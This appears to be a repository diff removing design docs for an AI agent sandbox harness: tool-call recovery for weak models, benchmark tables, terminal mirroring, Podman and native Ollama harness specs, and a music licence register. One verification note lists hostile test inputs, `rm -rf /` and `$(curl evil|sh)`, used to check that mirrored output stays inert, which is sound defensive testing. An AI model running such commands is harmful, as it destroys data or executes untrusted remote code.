**form** of the leak. The weak models do not emit a JSON tool-call as text. They emit
either:
* **malformed structured `tool_calls`** — e.g. `write_file` with `content: null`
(the field IS populated; the arguments are just wrong → model capability, not a
parse gap); or
* **a fenced shell/code block in prose with NO tool call at all** — e.g. content
`"…let's proceed:\n```bash\nmkdir -p a/b/c\n```"`, `tool_calls: None`. This is the
"[stopped — model described the task but never ran a tool]" case that dominates
the 0.5b table.
So the structured-JSON recovery is a correct, safe hardening (it WILL catch a real
JSON-in-text leak from any model that produces one, and cannot fabricate an action),
but the failure it was meant to fix is not the failure these CPU models actually have.
**The real harness-addressable lever the data now points to:** recover **fenced code
blocks** (```bash … ``` / ```python … ```) as `run_shell` calls when the turn carried
no structured call. That is the genuine form of the weak-model leak. It is a bigger
safety call than JSON recovery (it executes a block the model wrote as prose, which
may be illustrative rather than an action), so it is left as an explicit decision, not
folded in silently.
| failure mode | example | harness-addressable? |
|---|---|---|
| malformed structured args | `write_file` with `content:null` | no (model capability) |
| fenced code in prose, no call | ```` ```bash\nmkdir -p a/b/c\n``` ````, `tool_calls:None` | **yes, but a safety call** — parse fences → run_shell |
| JSON tool-call leaked as text | `<tools>{"name":…}` | yes — **now handled** (no weak-model effect) |
| path hallucination | `/home/qwen253b/…`, `/ai/a/b/c`, `~/` unexpanded | partly (model) |
| content fabrication | wrote literal `octocat`/`dell` instead of running whoami | no (model capability) |
**Other models worth pulling for a non-qwen data point** (different family → different
failure modes, both with strong native tool-calling): `llama3.2:3b` (~2 GB, peer to
the 3B) and `llama3.1:8b` (~4.7 GB, peer to the 7B but general-purpose). Probe the
`tools` field first, then `bench/run.py --model <name>`.
The first two are the clear next harness improvements; the benchmark now exists to
prove whether they move the number.
### The win — split-tag recovery + greedy decode (2026-06-10)
Two more harness changes, and the first to actually move the number:
1. **Greedy decode for the tool loop** — `complete_with_tools` now sends
`temperature: 0` (scoped to the tool loop; chat keeps default sampling). At
Ollama's default 0.8 the weak model sampled away from the tool-call format into
prose/fabrication. The nudge prompt changes between turns, so temp 0 still escapes
a failed state on retry — it just stops the creative drift.
2. **Split-tag recovery** — temp 0 made 0.5b's leak *deterministic*, which exposed its
real shape: NOT a JSON object with a `name` key, but the name in a tag and the args
in a SEPARATE object — `<tools>write_file</tools>{"path":…,"content":…}`,
`<tools>run_shell</tools>{"command":…}` — ~5 of 12 tasks per run. `_NAMED_TAG` in
the provider now pairs that tag-name with the following args object (gated on the
known tool set, so it still can't fabricate an action).
3. **Fenced recovery** (bridge) — recover a `` ```bash `` block narrated in prose as a
run_shell call, non-destructive only (`FENCE_DESTRUCTIVE` guard). Fires on the
prose-leak turns; a no-op where the model emits structured calls.
**Result — the effect is concentrated on the weakest model, as theory predicts** (the
smaller the model, the more it leaks malformed text instead of structured calls; a
bigger model emits proper calls and fails on capability/content, which no parser can
fix):
| model | baseline | optimized (2 runs) | note |
|---|---|---|---|
| qwen2.5:0.5b | 1/12 | **4/12, 3/12** | split-tag leak dominates → big lift |
| qwen2.5:3b | 1/12 | 2/12, 0/12 | emits proper calls → unchanged (noise) |
Ablation on 0.5b: structured-JSON-only `0/0` → fenced+temp0 `2/0` → +split-tag `4/3`.
Split-tag recovery is the dominant contributor; temp 0 is what made the leak
consistent enough to parse. Net: the harness now extracts ~3× more signal from the
0.5b, and temp 0 is a sound default for the tool loop on any model.
docs/music-licensing.md
-53
View File
@@ -1,53 +0,0 @@
# Session-music licensing & provenance
_Generated 2026-07-07 for the bundled albums under `hh/music/`._
This is the provenance + attribution register for the background-music albums that
the Rust client plays during a session (`/music`, see `hh/src/music.rs`). Each album
is a `hh/music/<name>.json` manifest pointing at the `.mp3` files shipped alongside it.
## Verdict: ALL bundled tracks CLEARED — CC BY 4.0, attribution required
- **2 albums / 11 tracks**, every one composed by **Kevin MacLeod** and published on
**incompetech.com** under **Creative Commons Attribution 4.0 International (CC BY 4.0)**.
- CC BY 4.0 **permits** redistribution, bundling, and commercial use **provided the
author is credited**. That makes these safe to commit to the repo, push to any
remote, demo publicly, and ship — unlike the quarantined character art
(`character-art-licensing.md`).
- Attribution is carried in two machine-readable places already: the `license` field
of each `hh/music/*.json` manifest, and this register. Keep both intact.
### Required attribution (CC BY 4.0)
> Music by **Kevin MacLeod** (incompetech.com) — licensed under
> **Creative Commons: By Attribution 4.0** — https://creativecommons.org/licenses/by/4.0/
Surface this credit wherever the music is used publicly (demo video description,
release notes, an About/Credits screen). Do not remove the `license` fields from the
manifests, and do not relabel these tracks as original or royalty-free-without-credit.
## Per-track register
| Album | Track | Composer | Source | Licence | Status |
|-------|-------|----------|--------|---------|--------|
| crypt | Ossuary 5 - Rest | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| crypt | Ghostpocalypse - 6 Crossing the Threshold | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| crypt | Crypto | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| crypt | Killers | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| crypt | Hitman | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| terminal | Neon Laser Horizon | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| terminal | Cyborg Ninja | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| terminal | Space Fighter Loop | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| terminal | Voltaic | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| terminal | Blip Stream | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
| terminal | Pixelland | Kevin MacLeod | incompetech.com | CC BY 4.0 | CLEARED |
> `crypt` is the dark-ambient album (matches the default "crypt" vestment); `terminal`
> is the hacker synth/chiptune album. Files live under `hh/music/<album>/`.
## Imported albums (`/music import`)
`/music import <path>` writes user albums to `~/.hh/music/*.json`, referencing the
operator's own files **in place** (absolute paths — nothing is copied into the repo).
Those files are the operator's responsibility and are **out of scope** for this
register; only the bundled `hh/music/` albums above are shipped and covered here.
docs/plan-harness-visibility.md
-199
View File
@@ -1,199 +0,0 @@
# hack-house → Native harness: visible injection + structured output — Plan
> **Status:** Implemented (§2 display-mirror hybrid) · **Date:** 2026-06-09
> **Scope:** Make the `native` `!task` harness (a) visibly act in the shared
> sandbox terminal again (like the old `simple` injector did), and (b) stop
> flooding chat with unstructured per-step lines.
> **Builds on:** `docs/spec-native-harness.md` (Phase 3 follow-up).
> **Touch:** `cmd_chat/agent/bridge.py` (mainly), maybe `hh/src/app.rs`/`ui.rs`
> for the purist option only.
---
## 0. Problem (diagnosed 2026-06-09)
Two regressions vs. the old `simple` harness, both rooted in one architectural
choice in `_run_native`.
### 0.1 Native execution is invisible in the sandbox terminal pane
- The **terminal pane everyone watches is fed ONLY by `_sbx:data` frames**, which
the broker emits from the **shared PTY** (`hh/src/app.rs:1530-1534`; the broker
renders its own PTY locally, others paint from `_sbx:data`).
- The old **`simple`** harness typed commands **into that shared PTY** via
`_sbx:input` (`bridge.py:_inject` ~421-429 → broker writes them at
`app.rs:1458-1463`). You literally saw it type and the output scroll.
- The new **`native`** harness runs each tool call as a **separate host
subprocess** — `<engine> exec -i <name> sh -c …` (`bridge.py:_exec_capture`
~498-519), deliberately, so it can **capture** stdout to feed the model. The
side effect: that output **never enters the shared PTY**, so it never becomes
`_sbx:data`, so the terminal pane stays blank. The commands *do* run (files get
created in the container) — you just can't see anything happen.
- The bridge also currently **drops all `_sbx:data` frames**
(`bridge.py:_handle_frame` ~857-859 → `_handle_control` ignores them), so today
it can't read the shared shell at all.
### 0.2 Native floods chat with unstructured lines
`_run_native` (`bridge.py` ~574-640) posts a **separate room broadcast per step**:
- header `† {name}: working on — {task}` (~598)
- one line **per tool call** `† {name} ▸ {describe_call}` (~632)
- final `† {name} (native) for {asker}: …` (~639)
With turn cap ≤5 × multiple calls that's a wall of interleaved `† … ▸ $ cmd`
lines, no structure, results not even shown — just the calls.
---
## 1. Goal
1. **Restore visible injection** — the granted agent's actions show up in the
shared sandbox terminal again, for the whole clergy.
2. **Structure the "thinking"** — move the step-by-step play-by-play out of chat
into a clean, readable transcript; chat keeps only a concise final summary.
3. **Keep** native's ability to read command output (its reason to exist) and all
existing guards (DESTRUCTIVE gate, `MAX_COMMANDS`, `NATIVE_OUTPUT_CAP`,
`NATIVE_TOOL_TIMEOUT`, turn cap, owner ACL gate, sandbox = blast radius).
---
## 2. Recommended approach — "display-mirror hybrid" (low risk)
Keep the out-of-band `<engine> exec` for **capture** (unchanged), but **mirror**
every step into the shared PTY as **display-only** writes so the clergy sees it,
and **collapse chat** to one final line.
### 2.1 Mirror into the terminal (Fix 1, light)
For each tool call in `_run_native` (`bridge.py` ~623-633):
1. **Before** running: write a non-executing prompt/echo line into the shared PTY
via `_send_sbx_input` (`bridge.py` ~394-399), e.g.
`# † {name} ▸ $ <cmd>\n` — a **shell comment** so the PTY's shell does NOT
execute it (no double-run). For `write_file`/`read_file` use
`# † {name} ▸ write <path>` / `… read <path>`.
2. **Run** the real command out-of-band via `_exec_tool` (unchanged) → captured
output for the model.
3. **After** running: echo a capped, commented summary of the result back into the
PTY (e.g. first N lines prefixed `# `, then `# † exit={rc}`), so the terminal
reads as a coherent transcript of what the agent did.
Notes / gotchas:
- `_send_sbx_input` is **inert unless granted** (broker keys off sender) — same
gate as `simple`. Native only runs when `self.granted`, so this is fine.
- Comment-prefix (`# `) is the safety trick: anything written to PTY stdin is run
by the shell, so the mirror MUST be inert. Prefix every mirrored line with `# `
and strip/curtail embedded newlines so a multi-line result can't break out of
the comment. Cap mirrored output (reuse a small cap, e.g. 10–20 lines).
- Throttle writes (`asyncio.sleep(~0.05-0.1)`) like `_inject` does so the relayed
`_sbx:data` stays legible.
- Decide: mirror full (capped) result, or just a one-line `† exit={rc}` per step.
Recommend **capped result** for `run_shell`/`read_file`, one-line for
`write_file`.
### 2.2 De-flood chat (Fix 2)
- **Remove** the per-call `_send_chat` at ~632 and the header at ~598 (the
play-by-play now lives in the terminal transcript from 2.1).
- **Keep** only the single final summary (~639), trimmed. Optionally also keep one
short opener if a fully-silent start feels off — but prefer terminal-only for
the steps.
- Leave `_send_typing` (spinner) as-is; it's a control frame, not chat.
### 2.3 Acceptance
- A granted `/ai <name> !<task>` shows each command + (capped) result in the
**sandbox terminal pane** for all members, with no double execution.
- Chat gets **one** final line (plus optional opener), not N step lines.
- Output capture still drives the loop (model self-corrects across turns).
- Destructive `run_shell` still blocked; caps/timeouts unchanged.
- `simple` harness + `/ai confirm` path unchanged.
---
## 3. Alternative — "PTY sentinel capture" (purist, higher risk)
Run `run_shell` **through the shared PTY** for real (true shared execution +
visible output) and capture by wrapping with sentinels:
`echo __HH_START_<id>__; <cmd>; echo __HH_END_<id>_$?__`, then have the bridge
**subscribe to `_sbx:data`** (stop dropping it in `_handle_control`), accumulate,
strip ANSI, and demux the slice between sentinels to feed back to the model.
- **Pro:** one unified shared shell — the agent reads exactly what humans see; no
out-of-band exec at all.
- **Con:** async stream parsing, per-call timeouts on a stream (not a process),
ANSI/terminal-control stripping, and **contention** with a human who is also
driving (F2). Much more to get right. `write_file` via heredoc-over-PTY is
fiddly vs. the current clean stdin pipe.
**Recommendation:** ship §2 first (restores the felt behavior with little risk);
consider §3 only if we later want the agent to truly share one shell with humans.
---
## 4. Work breakdown (for the new session)
1. `bridge.py`: add a `_mirror_to_pty(ws, line)` helper (comment-prefix + newline
strip + throttle) wrapping `_send_sbx_input`.
2. `bridge.py`: in `_run_native`'s call loop (~623-633), mirror **before** (the
command) and **after** (capped result) each `_exec_tool`.
3. `bridge.py`: drop the header (~598) and per-call chat line (~632); keep/trim the
final (~639).
4. Manual live test via tmux (see memory: *Driving the hh TUI via tmux*) — grant
the agent, run a `!task`, confirm terminal shows the transcript and chat shows
one line. Watch for double execution and comment-escape.
5. `py_compile` + a fake-provider unit pass if one exists for the native loop.
6. Update `docs/spec-native-harness.md` Phase 3 notes + memory
(`hh_podman_goose_integration.md`) once landed.
## 4a. What shipped (2026-06-09)
§2 implemented in `cmd_chat/agent/bridge.py`:
- New `_mirror_to_pty(ws, text, *, cap)` helper — splits on newlines, prefixes
**every** line with `# ` (inert comment, never executed), strips `\r`, caps to
`MIRROR_MAX_LINES=12` with a `… (+N more)` notice, throttles 0.05s/line. Inert
until granted (broker keys writes off the sender).
- `_run_native` mirrors **only the agent's actions** into the shared PTY: one
`▸ {describe_call}` comment per tool call (e.g. `# ▸ $ ls`, `# ▸ write ./x.sh`),
so the clergy sees what it does in the sandbox. After iterating with the user we
**dropped** the start/done banners, the interim-reasoning mirror, and the
per-step result mirror from the terminal — those read as chat content, not
terminal content, and the result lines (esp. errors) were noise. Outcomes are
reported via the single final chat summary. Real execution still runs
out-of-band via `_exec_tool` (capture feeds the model loop, intact).
- `write_file` now `mkdir -p "$(dirname "$1")"` before `cat > "$1"` so a path into
a not-yet-existing directory works — fixes the regression where the model picked
an absolute path (`/var/lib/.../`), every write failed `exit=2 Directory
nonexistent`, and no scripts were ever created (the old simple harness avoided
this by typing relative-path heredocs into the shell's CWD). `NATIVE_SYSTEM` also
now steers the model to relative paths under the sandbox home + to run scripts to
verify.
- Chat de-flooded: the per-call `† … ▸` broadcasts are gone; chat now carries just
the one opener (`† {name}: working on — {task}`) + the one final summary.
- Resolved open Qs: **(1)** mirror the capped result for every step (write_file's is
already a one-liner); **(2)** keep a single chat opener, steps are terminal-only;
**(3)** reuse `NATIVE_OUTPUT_CAP` for the model feed, separate `MIRROR_MAX_LINES`
line-cap for the pane so the terminal stays legible.
- Verified offline (fake provider): exactly 2 chat lines, transcript mirrored as
inert comments, no double execution; hostile multi-line results (`rm -rf /`,
`$(curl evil|sh)`, embedded CR) all neutralized as single `# ` comment lines.
**Chat readability (follow-on, same day):**
- `hh/src/ui.rs` `fmt_line` now returns `Vec<Line>` and splits records on `\n`, so
a multi-line agent answer/plan renders as an indented block instead of one
garbled ratatui row; `draw_chat` `flat_map`s it. AI output (leading `†`) +
client system notices render as dim/italic sigil-marked "action" blocks
attributed to the author.
- `bridge.py` `_run_native` chat lines de-duplicated: opener `† working — {task}`,
final `† @{asker} {final}` (the client now supplies the name/sigil styling, so
the bot no longer repeats `{name}: … (native) for …`).
- Not done (deferred): §3 PTY-sentinel purist path; live tmux validation vs Ollama.
## 5. Open questions
1. Mirror **full capped result** into the terminal, or just `exit={rc}` per step?
(Leaning: capped result for run_shell/read_file, one-liner for write_file.)
2. Keep a single chat **opener** line, or go fully terminal-only for steps with
just the final summary in chat?
3. Mirror cap size (lines/bytes) — reuse `NATIVE_OUTPUT_CAP` (4096B) or a smaller
per-pane cap so the terminal stays legible?
docs/spec-goose-harness.md
-164
View File
@@ -1,164 +0,0 @@
# hack-house → Podman backend + Goose harness — Spec
> ⚠️ **SUPERSEDED (harness portion only).** The Goose harness described here was
> stripped on 2026-06-08 and replaced by the lightweight, host-side, Ollama-native
> harness — see **`docs/spec-native-harness.md`**. **The Podman backend introduced
> by this spec still stands** (it is not Goose-specific). Read this document only
> for the Podman backend rationale; ignore every Goose section below.
> **Status:** Draft v1 · **Date:** 2026-06-07
> **Scope:** Add **Podman** as an additional sandbox backend (Docker stays), and
> make **Goose** (block/goose) the default agentic harness for the `/ai !task`
> path — strictly contained to spawned `/sbx` sessions, output rendered to chat.
> **Baseline reviewed:** `cmd_chat/agent/bridge.py`, `hh/src/sbx.rs`,
> `hh/src/app.rs`, `hh/src/net.rs` @ `main`.
> **Builds on:** `spec-collaborative-sandbox.md`, `spec-agent-bridge.md`.
> **See also:** `spec-sandbox-distros-gui.md` (Podman default = Kali, Docker
> default = Parrot, the `/sbx <type> <option>` grammar, and the container GUI).
> Grammar note: examples below use `/sbx <backend>` (e.g. `/sbx podman`); the
> older `/sbx launch <backend>` is kept as a transitional alias.
---
## 0. Decisions locked (from product owner)
| # | Decision | Choice |
|---|----------|--------|
| A | Podman vs Docker | **Both.** Podman is an *additional* `Backend`, not a replacement. `/sbx podman` and `/sbx docker` both work. |
| B | Why Podman | Daemonless + rootless ⇒ no root daemon, **no sudo modal**, stronger userns isolation for untrusted shared code. |
| C | Default harness | **Goose** for the `!task` (sandbox-action) path. Opt-out to the legacy one-shot injector (`simple`). |
| D | Goose containment | Goose is **never a host-side process.** It runs only *inside* a spawned `/sbx` session. Container/VM backends fully isolate it; the only host path is `/sbx local` (host shell) — the explicit, warned exception. |
| E | Capability gate | `/grant` is the switch. **Granted** → full Goose shell *inside the opened container*. **Not granted** → advisory, **chat-only**, never touches the sandbox. |
| F | Output | Goose output is rendered to **chat**, not the terminal pane. |
| G | Tools | Goose may use confined tool calls (web search/fetch, approved scripts) — all inside the sandbox namespace. No host fs (no bind mounts). |
---
## 1. Podman backend
### 1.1 Model
`Backend` gains a `Podman` variant alongside `{Local, Docker, Multipass}`. Docker
and Podman share the same OCI CLI grammar (`run/exec/commit/save/rm/images`), so
the two collapse onto one **container code path** parameterised by an engine
binary (`engine_bin(backend) -> "docker" | "podman"`). Only two things differ:
| Concern | Docker | Podman |
|---|---|---|
| Daemon | needs `docker info` up; may need sudo to start | **daemonless** — skip the daemon check + sudo modal entirely |
| Host gateway (for in-container Ollama) | add `--add-host=host.docker.internal:host-gateway` at `run` | `host.containers.internal` is native (rootless pasta/slirp) |
Everything else — provisioning per-member unix accounts, the `sandbox-bootstrap`
toolchain install, `commit`/`save` snapshots, `push` (file bridge), `exec` shell
— is identical and reuses the existing logic via the engine binary.
### 1.2 Snapshots
`podman commit` → `hh-snap:<label>` and `podman save -o …tar` mirror Docker 1:1
(rootless-friendly). `SnapKind` gains a `Podman` arm so `/sbx load <label>`
restores through the engine that holds the image. **CRIU checkpoint/restore is
out of scope** (rootless Podman generally can't); filesystem snapshots via
`commit` remain the save/load mechanism.
### 1.3 Install
`ensure-podman.sh` (apt) + a rootless preflight note (subuid/subgid). No daemon
to start. `/sbx podman install` opts into installing it.
---
## 2. Goose harness
### 2.1 Containment invariant
The bridge already **only ever emits keystroke/chat frames** — it never executes
on the host. Goose preserves this: it runs as a command **inside the spawned
sandbox**, located via the engine + container name the broker advertises. Goose
therefore inherits exactly the backend's isolation:
| Backend | Goose runs in | Host access |
|---|---|---|
| `podman` / `docker` | container namespace (rootless userns ideal) | none — no host fs (no `-v`), separate net ns |
| `multipass` | guest VM | none |
| `local` (`/sbx local`) | host shell | **yes — the one explicit, warned exception** |
### 2.2 Two tiers, gated by `/grant`
```
/ai <agent> !<task>
├─ granted (drive ACL) → run Goose IN the sandbox → stream stdout → chat
└─ not granted → advisory answer only → chat (no sandbox touch)
```
- **Granted:** the bridge runs, per backend:
- `podman|docker exec -i <container> goose run -t "<task>" --no-session -q --max-turns N`
- `multipass exec <name> -- goose run …`
- `local` → `goose run …` on the host **with a loud warning**
Goose's full agentic loop (read output → edit files → run approved scripts →
web search → self-correct) executes inside that sandbox. stdout/stderr is
captured, throttled, capped, and posted to chat as the agent.
- **Not granted:** the task is answered by the lightweight provider as plain
chat — explicitly told it has no drive and must advise, not assume execution.
### 2.3 Harness selection & opt-out
- Default harness = `goose`. `/ai start … plain` (or `--harness simple`) selects
the legacy one-shot injector. `models.toml` may carry `harness = "goose"|"simple"`.
- **Graceful degrade:** if the harness is `goose` but the binary isn't runnable
in the sandbox, the bridge says so once and falls back to the simple injector —
Goose is default but never load-bearing. This is also the "remove Goose" path.
### 2.4 Tool surface (confined)
Configured in a **container-side** `~/.config/goose/config.yaml` baked in by
`sandbox-bootstrap.sh` (so the policy travels with the isolation):
- `GOOSE_PROVIDER=ollama`, `GOOSE_MODEL=…`, `OLLAMA_HOST` → host gateway.
- Enabled extensions: developer/shell (scoped to the container), a web
fetch/search extension, and a curated approved-scripts dir (`/opt/hh/bin`).
- **No host bind mounts**, ever. The only host-ward connection is Goose → host
Ollama (a model API call, not shell reach).
---
## 3. Wire conventions
The broker advertises where the sandbox lives so the (co-located) agent can run
Goose in it. The existing `_sbx:status` frame gains two fields:
```json
{"_sbx":"status","state":"ready","backend":"podman","engine":"podman","name":"hh-sandbox","rows":40,"cols":120}
```
- `engine` ∈ `{docker, podman, multipass, local}` — the exec family.
- `name` — the container/instance handle (empty for `local`).
The bridge reads these from the frame (extending `_handle_control`) and uses them
to build the `goose run` invocation. Grant state continues to ride the existing
`_perm:acl` frame (`drivers`).
---
## 4. Trust model honesty
- **Containment is hard:** Goose's reach == the sandbox namespace. Container/VM
backends give real isolation; `local` is host by explicit user choice (warned).
- **Grant tier is app-layer** for the Goose path (the co-located bridge runs the
exec), the same trust class as the operator ACL in `spec-agent-bridge.md` §3.
A well-behaved bridge honours `self.granted`; a hostile process with the room
password is out of scope (it already has the password). The keystroke-injection
path remains hard-gated by the broker.
- **Prompt injection:** room text is untrusted; the sandbox is the blast radius;
output is capped + throttled.
---
## 5. Bootstrap touch points
| Script | Change |
|---|---|
| `bootstrap.sh` | add `podman`, `goose` to the optional prereq probe |
| `bootstrap-ai.sh` | install Goose on the host (default on; `--no-goose` to skip); write host `~/.config/goose/config.yaml` |
| `sandbox-bootstrap.sh` | install the Goose binary **into the container** (it's a release binary, not apt — can't ride `sandbox-tools.json`); write the container-side goose config pointing `OLLAMA_HOST` at the host gateway |
| `ensure-podman.sh` | new detect-then-install helper (apt) |
---
## 6. Phasing
| Phase | Scope |
|---|---|
| **1** | Podman backend (launch/exec/provision/teardown/save/load parity); `_sbx:status` carries engine+name. |
| **2** | Goose harness in the bridge: grant-gated two tiers, container exec, stdout→chat, simple-injector fallback; `--harness` flag + `/ai start … plain`. |
| **3** | Bootstrap: host + in-container Goose install, ensure-podman, confined tool config. |
| **4** | Polish: structured Goose event rendering, approved-script allowlist UI, web-egress allowlist. |
docs/spec-native-harness.md
-182
View File
@@ -1,182 +0,0 @@
# hack-house → Native lightweight harness (strip Goose) — Spec
> **Status:** Draft v1 · **Date:** 2026-06-08
> **Scope:** Replace the **Goose** agentic harness on the `/ai <name> !<task>`
> path with a **lightweight, host-side, Ollama-native harness**, and **strip all
> Goose integration** from the codebase + bootstrap scripts.
> **Baseline reviewed:** `cmd_chat/agent/bridge.py`, `cmd_chat/agent/__main__.py`,
> `cmd_chat/agent/providers.py`, `hh/src/sbx.rs`, `hh/src/app.rs`,
> `hh/scripts/bootstrap.sh`, `hh/scripts/bootstrap-ai.sh`,
> `hh/scripts/sandbox-bootstrap.sh` @ `main` (f93c8c5).
> **Supersedes:** `docs/spec-goose-harness.md` (Goose harness portion only — the
> Podman backend it also introduced **stays**).
> **Related (do NOT touch):** `headroom/` references Goose for an unrelated CLI
> wrapper experiment; out of scope here.
---
## 0. Why
| Problem with Goose | Consequence on this project |
|---|---|
| Agentic loop = **N sequential model calls** (`--max-turns 15`) | On a CPU-only box (i5-8350U, no GPU) each call is already slow; Goose multiplies per-call latency by N → "takes forever". |
| Heavyweight external **Rust binary** baked into every sandbox | Extra install in `sandbox-bootstrap.sh` + host install in `bootstrap-ai.sh`; a moving release dependency. |
| In-container Goose must reach **host Ollama** | The documented **slirp4netns loopback bug**: rootless Podman's `host.containers.internal` resolves to the host LAN IP and can't reach a `127.0.0.1`-bound Ollama. Forced the `--network=slirp4netns:allow_host_loopback=true` + `OLLAMA_HOST=10.0.2.2` workaround in `sbx.rs`. |
| Opaque: we relay raw stdout, no control of the tool schema | Hard to bound, hard to render, hard to reason about. |
**What we already have that works decently** (commit `47019dd`, still alive today
as `_run_simple`): a **one-shot keystroke injector** — *one* model call → a
```` ```sh ```` block → typed into the shared sandbox PTY via the existing
`_sbx:input` frames, guarded by a destructive-command regex + blast-radius caps,
echoed to the room first as an audit trail. It is fast (single call), needs **no
external binary**, and reuses transport that already exists. Its only real
limitation: it types **blind** — it never reads command output back.
**Decision:** keep the proven injector as the floor, optionally add a **bounded,
host-side, Ollama-native tool-calling loop** as the ceiling, and remove Goose
entirely.
---
## 1. Native harness design
### 1.1 Key architectural shift: host-side model, container-side execution
Goose ran the *whole* loop **inside** the sandbox (model calls + command
execution), which is why the container needed to reach host Ollama. The native
harness splits these:
- **Model call → host.** The bridge (co-located with the broker, already on the
host) calls Ollama on the host directly via `providers.py`. No container→host
Ollama hop.
- **Command execution → sandbox.** Commands run in the sandbox via the engine the
broker advertises (`_sbx:status` → `engine` + `name`), using the same
`<engine> exec <name> …` plumbing Goose used for its probe.
**Consequence:** the entire in-container Ollama gateway surface
(`--add-host=host.docker.internal:host-gateway`, `--network=slirp4netns:allow_host_loopback=true`,
in-container `OLLAMA_HOST`) becomes **dead** and is removed — **the slirp4netns
loopback bug ceases to exist.**
### 1.2 Two harness levels (both host-side model, grant-gated)
The grant tiers from the Goose spec are unchanged (`/grant` is the switch):
**not granted → advisory chat-only**; **granted → act in the sandbox**. What
changes is *how* the granted path acts:
| Level | What it does | Reads output? | Model calls | Default |
|---|---|---|---|---|
| **`simple`** | One model call → ```` ```sh ```` block → type into the shared PTY (`_sbx:input`). The proven `47019dd` injector. | No (blind) | 1 | fallback |
| **`native`** | Bounded tool-calling loop: Ollama `/api/chat` with a small `tools` schema; bridge execs each tool call in the sandbox, captures stdout, feeds it back; cap at **3–5 turns**. | Yes | ≤ turns | **default** |
`native` degrades to `simple` automatically when the model doesn't advertise tool
support (so it is default but never load-bearing — same safety property Goose
had, minus the binary).
### 1.3 The `native` loop (Ollama-native function calling)
`qwen2.5` (our default) supports function calling through Ollama's `/api/chat`
`tools` field — we just aren't using it yet (`providers.py:104/119` send no
`tools`). Add an opt-in tool-calling completion to `OllamaProvider`:
```
POST /api/chat
{ "model": …, "messages": [...], "tools": [ <schema below> ], "stream": false }
→ message.tool_calls: [ {function:{name, arguments}}, … ]
```
**Minimal tool schema** (the whole surface — deliberately tiny):
| Tool | Args | Maps to (sandbox exec) |
|---|---|---|
| `run_shell` | `command: string` | `<engine> exec <name> sh -c "<command>"`, capture stdout+stderr+rc |
| `write_file` | `path: string, content: string` | heredoc write via exec (no host fs) |
| `read_file` | `path: string` | `cat` via exec |
Loop (per `!task`, granted):
1. Seed messages with `SANDBOX_SYSTEM` + the task + recent transcript window.
2. Call Ollama with `tools`. If `tool_calls` present → run each through the
**same guards** (`DESTRUCTIVE` regex + `/confirm`, `MAX_COMMANDS`/`MAX_BYTES`),
exec in the sandbox, append a `tool` role message with captured output.
3. Repeat until the model returns a plain answer or the **turn cap** (3–5) is hit.
4. Stream progress to chat (reuse `_send_stream`); post the final line; append a
capped summary to the transcript.
**Containment unchanged from the Goose spec §2.1:** execution reach == the
sandbox namespace. Container/VM backends isolate it; `local` is the host by
explicit, warned choice. Output is byte-capped + throttled. Room text stays
untrusted; the sandbox is the blast radius.
### 1.4 Why this fixes "takes forever"
- **We own the turn budget** (3–5, not 15) → bounded worst case.
- **Model runs host-side** with the CPU-tuned `OllamaProvider` knobs already in
place (`num_ctx`/`num_thread`/`num_predict`, plus the `qwen2.5-coder` code path).
- A trivial task that the model nails in one tool call costs ~1 round-trip — same
ballpark as the old one-shot injector.
---
## 2. Nomenclature
Drop the Goose-implicit grammar (where `plain` *disabled* Goose and there was no
positive keyword). New, symmetric harness selector:
```
/ai start [profile|model] [native|simple] [allow]
```
- **harness word** (optional): `native` (default) or `simple`. `plain` kept as a
back-compat alias for `simple`.
- **`allow`** (unchanged): pre-grant sandbox drive on spawn (owner only).
- CLI: `--harness {native,simple}` on `python -m cmd_chat.agent`
(replaces `{goose,simple}`); drop `--goose-max-turns`, add
`--max-turns` (default 5) for the `native` loop.
- `models.toml`: `harness = "native"|"simple"` (was `"goose"|"simple"`).
---
## 3. Strip plan — file by file
> `headroom/**` is a different project; **excluded**.
| File | Change |
|---|---|
| `cmd_chat/agent/bridge.py` | Remove `_run_goose`, `_goose_argv`, `_goose_present`, `_goose_present_cache`, and the `GOOSE_*` consts. Rewrite `_run_in_sandbox`: granted → `native` loop (new `_run_native`) with `simple` fallback; not granted → `_advise` (unchanged). Default `self.harness = "native"`. Keep `_run_simple`, `_advise`, `_inject`, `_extract_commands`, `_confirm_pending`, the destructive gate, and blast caps. Keep `_handle_control` reading `_sbx:status` `engine`+`name` (the `native` exec path uses them). |
| `cmd_chat/agent/providers.py` | Add tool-calling completion to `OllamaProvider` (`complete_with_tools(system, messages, tools) -> (text, tool_calls)`); add a capability probe (does the model accept `tools`). Chat/`stream` paths unchanged. |
| `cmd_chat/agent/__main__.py` | `--harness {native,simple}` (was `{goose,simple}`); remove `--goose-max-turns` + `GOOSE_MAX_TURNS` import; add `--max-turns`. Default harness `native`. |
| `hh/src/app.rs` | Update the `/ai start` parser (≈2628–2651): accept `native|simple` (+ `plain` alias) instead of just `plain`; pass `--harness native|simple`. Refresh the comment at 3248. |
| `hh/src/sbx.rs` | Remove the in-container Ollama gateway: the `--add-host=host.docker.internal:host-gateway` / `--network=slirp4netns:allow_host_loopback=true` block (≈780–792) and the in-container `OLLAMA_HOST` set in `dk_bootstrap` (≈1249). Drop the Goose-reaches-host comments (688, 780, 1249). **Verify** nothing else depends on the gateway before deleting. |
| `hh/scripts/bootstrap.sh` | Remove `goose` from the prereq probe loop (line 52). |
| `hh/scripts/bootstrap-ai.sh` | Remove the entire Goose install block + `--no-goose` flag + `GOOSE_INSTALLER_URL` + host `~/.config/goose/config.yaml` writer + the `goose_bin()` helper and its status lines. Update header/usage. |
| `hh/scripts/sandbox-bootstrap.sh` | Remove the Goose section (≈53–80): binary install + container-side `~/.config/goose/config.yaml`. (Mirrors the noVNC strip already done.) |
| `models.toml` | `harness` values doc: `goose` → `native`. |
| `docs/spec-goose-harness.md` | Add a banner: **Harness section superseded by `spec-native-harness.md`; the Podman backend portion still stands.** |
**Keep (not Goose-specific):** Podman backend, `_sbx:status` `engine`+`name`
fields (the `native` exec path needs them), the grant/ACL gate, `_advise`,
